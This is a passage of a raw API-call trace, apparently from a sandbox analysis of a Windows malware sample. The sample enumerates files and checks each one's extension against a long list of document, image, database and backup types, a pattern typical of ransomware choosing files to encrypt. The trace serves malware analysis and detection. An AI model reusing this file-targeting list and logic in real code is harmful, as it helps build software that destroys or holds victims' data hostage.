	[0062.024] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.024] lstrlenW (lpString=".rar") returned 4
	[0062.024] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.024] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.024] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.024] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.024] FindClose (in: hFindFile=0x7398d8 | out: hFindFile=0x7398d8) returned 1
	[0062.024] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.025] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0062.025] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.025] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0062.025] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7398d8
	[0062.025] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.025] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.026] lstrlenW (lpString="eula.rtf") returned 8
	[0062.026] lstrlenW (lpString=".1cd") returned 4
	[0062.026] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".3ds") returned 4
	[0062.026] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".3fr") returned 4
	[0062.026] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".3g2") returned 4
	[0062.026] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".3gp") returned 4
	[0062.026] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".7z") returned 3
	[0062.026] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.026] lstrlenW (lpString=".accda") returned 6
	[0062.026] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".accdb") returned 6
	[0062.026] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".accdc") returned 6
	[0062.026] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".accde") returned 6
	[0062.026] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".accdt") returned 6
	[0062.026] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".accdw") returned 6
	[0062.026] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.026] lstrlenW (lpString=".adb") returned 4
	[0062.026] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".adp") returned 4
	[0062.026] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".ai") returned 3
	[0062.026] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.026] lstrlenW (lpString=".ai3") returned 4
	[0062.026] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".ai4") returned 4
	[0062.026] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.026] lstrlenW (lpString=".ai5") returned 4
	[0062.027] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".ai6") returned 4
	[0062.027] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".ai7") returned 4
	[0062.027] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".ai8") returned 4
	[0062.027] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".anim") returned 5
	[0062.027] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.027] lstrlenW (lpString=".arw") returned 4
	[0062.027] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".as") returned 3
	[0062.027] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.027] lstrlenW (lpString=".asa") returned 4
	[0062.027] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".asc") returned 4
	[0062.027] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".ascx") returned 5
	[0062.027] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.027] lstrlenW (lpString=".asm") returned 4
	[0062.027] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".asmx") returned 5
	[0062.027] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.027] lstrlenW (lpString=".asp") returned 4
	[0062.027] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".aspx") returned 5
	[0062.027] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.027] lstrlenW (lpString=".asr") returned 4
	[0062.027] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".asx") returned 4
	[0062.027] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".avi") returned 4
	[0062.027] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".avs") returned 4
	[0062.027] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.027] lstrlenW (lpString=".backup") returned 7
	[0062.027] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.027] lstrlenW (lpString=".bak") returned 4
	[0062.028] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".bay") returned 4
	[0062.028] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".bd") returned 3
	[0062.028] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.028] lstrlenW (lpString=".bin") returned 4
	[0062.028] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".bmp") returned 4
	[0062.028] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".bz2") returned 4
	[0062.028] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".c") returned 2
	[0062.028] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.028] lstrlenW (lpString=".cdr") returned 4
	[0062.028] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".cer") returned 4
	[0062.028] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".cf") returned 3
	[0062.028] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.028] lstrlenW (lpString=".cfc") returned 4
	[0062.028] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".cfm") returned 4
	[0062.028] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".cfml") returned 5
	[0062.028] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.028] lstrlenW (lpString=".cfu") returned 4
	[0062.028] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".chm") returned 4
	[0062.028] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".cin") returned 4
	[0062.028] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".class") returned 6
	[0062.028] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.028] lstrlenW (lpString=".clx") returned 4
	[0062.028] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.028] lstrlenW (lpString=".config") returned 7
	[0062.028] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.028] lstrlenW (lpString=".cpp") returned 4
	[0062.029] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".cr2") returned 4
	[0062.029] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".crt") returned 4
	[0062.029] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".crw") returned 4
	[0062.029] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".cs") returned 3
	[0062.029] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.029] lstrlenW (lpString=".css") returned 4
	[0062.029] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".csv") returned 4
	[0062.029] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".cub") returned 4
	[0062.029] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dae") returned 4
	[0062.029] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dat") returned 4
	[0062.029] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".db") returned 3
	[0062.029] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.029] lstrlenW (lpString=".dbf") returned 4
	[0062.029] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dbx") returned 4
	[0062.029] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dc3") returned 4
	[0062.029] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dcm") returned 4
	[0062.029] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dcr") returned 4
	[0062.029] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".der") returned 4
	[0062.029] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dib") returned 4
	[0062.029] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dic") returned 4
	[0062.029] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.029] lstrlenW (lpString=".dif") returned 4
	[0062.030] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".divx") returned 5
	[0062.030] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".djvu") returned 5
	[0062.030] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".dng") returned 4
	[0062.030] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".doc") returned 4
	[0062.030] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".docm") returned 5
	[0062.030] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".docx") returned 5
	[0062.030] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".dot") returned 4
	[0062.030] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dotm") returned 5
	[0062.030] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".dotx") returned 5
	[0062.030] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.030] lstrlenW (lpString=".dpx") returned 4
	[0062.030] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dqy") returned 4
	[0062.030] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dsn") returned 4
	[0062.030] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dt") returned 3
	[0062.030] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.030] lstrlenW (lpString=".dtd") returned 4
	[0062.030] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dwg") returned 4
	[0062.030] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dwt") returned 4
	[0062.030] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.030] lstrlenW (lpString=".dx") returned 3
	[0062.030] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.030] lstrlenW (lpString=".dxf") returned 4
	[0062.030] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".edml") returned 5
	[0062.031] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.031] lstrlenW (lpString=".efd") returned 4
	[0062.031] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".elf") returned 4
	[0062.031] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".emf") returned 4
	[0062.031] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".emz") returned 4
	[0062.031] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".epf") returned 4
	[0062.031] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".eps") returned 4
	[0062.031] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".epsf") returned 5
	[0062.031] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.031] lstrlenW (lpString=".epsp") returned 5
	[0062.031] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.031] lstrlenW (lpString=".erf") returned 4
	[0062.031] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".exr") returned 4
	[0062.031] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".f4v") returned 4
	[0062.031] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".fido") returned 5
	[0062.031] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.031] lstrlenW (lpString=".flm") returned 4
	[0062.031] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".flv") returned 4
	[0062.031] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".frm") returned 4
	[0062.031] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".fxg") returned 4
	[0062.031] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".geo") returned 4
	[0062.031] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.031] lstrlenW (lpString=".gif") returned 4
	[0062.031] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".grs") returned 4
	[0062.032] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".gz") returned 3
	[0062.032] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.032] lstrlenW (lpString=".h") returned 2
	[0062.032] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.032] lstrlenW (lpString=".hdr") returned 4
	[0062.032] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".hpp") returned 4
	[0062.032] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".hta") returned 4
	[0062.032] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".htc") returned 4
	[0062.032] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".htm") returned 4
	[0062.032] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".html") returned 5
	[0062.032] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.032] lstrlenW (lpString=".icb") returned 4
	[0062.032] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".ics") returned 4
	[0062.032] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".iff") returned 4
	[0062.032] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".inc") returned 4
	[0062.032] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".indd") returned 5
	[0062.032] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.032] lstrlenW (lpString=".ini") returned 4
	[0062.032] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".iqy") returned 4
	[0062.032] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".j2c") returned 4
	[0062.032] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.032] lstrlenW (lpString=".j2k") returned 4
	[0062.033] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".java") returned 5
	[0062.033] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.033] lstrlenW (lpString=".jp2") returned 4
	[0062.033] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpc") returned 4
	[0062.033] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpe") returned 4
	[0062.033] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpeg") returned 5
	[0062.033] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpf") returned 4
	[0062.033] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpg") returned 4
	[0062.033] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".jpx") returned 4
	[0062.033] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".js") returned 3
	[0062.033] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.033] lstrlenW (lpString=".jsf") returned 4
	[0062.033] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".json") returned 5
	[0062.033] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.033] lstrlenW (lpString=".jsp") returned 4
	[0062.033] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".kdc") returned 4
	[0062.033] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".kmz") returned 4
	[0062.033] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".kwm") returned 4
	[0062.033] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".lasso") returned 6
	[0062.033] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.033] lstrlenW (lpString=".lbi") returned 4
	[0062.033] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.033] lstrlenW (lpString=".lgf") returned 4
	[0062.033] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".lgp") returned 4
	[0062.034] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".log") returned 4
	[0062.034] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".m1v") returned 4
	[0062.034] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".m4a") returned 4
	[0062.034] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".m4v") returned 4
	[0062.034] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".max") returned 4
	[0062.034] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".md") returned 3
	[0062.034] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.034] lstrlenW (lpString=".mda") returned 4
	[0062.034] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mdb") returned 4
	[0062.034] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mde") returned 4
	[0062.034] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mdf") returned 4
	[0062.034] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mdw") returned 4
	[0062.034] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mef") returned 4
	[0062.034] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mft") returned 4
	[0062.034] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mfw") returned 4
	[0062.034] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mht") returned 4
	[0062.034] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mhtml") returned 6
	[0062.034] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.034] lstrlenW (lpString=".mka") returned 4
	[0062.034] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.034] lstrlenW (lpString=".mkidx") returned 6
	[0062.034] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.035] lstrlenW (lpString=".mkv") returned 4
	[0062.035] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mos") returned 4
	[0062.035] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mov") returned 4
	[0062.035] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mp3") returned 4
	[0062.035] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mp4") returned 4
	[0062.035] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mpeg") returned 5
	[0062.035] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.035] lstrlenW (lpString=".mpg") returned 4
	[0062.035] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mpv") returned 4
	[0062.035] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mrw") returned 4
	[0062.035] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".msg") returned 4
	[0062.035] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".mxl") returned 4
	[0062.035] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".myd") returned 4
	[0062.035] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".myi") returned 4
	[0062.035] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".nef") returned 4
	[0062.035] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.035] lstrlenW (lpString=".nrw") returned 4
	[0062.035] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
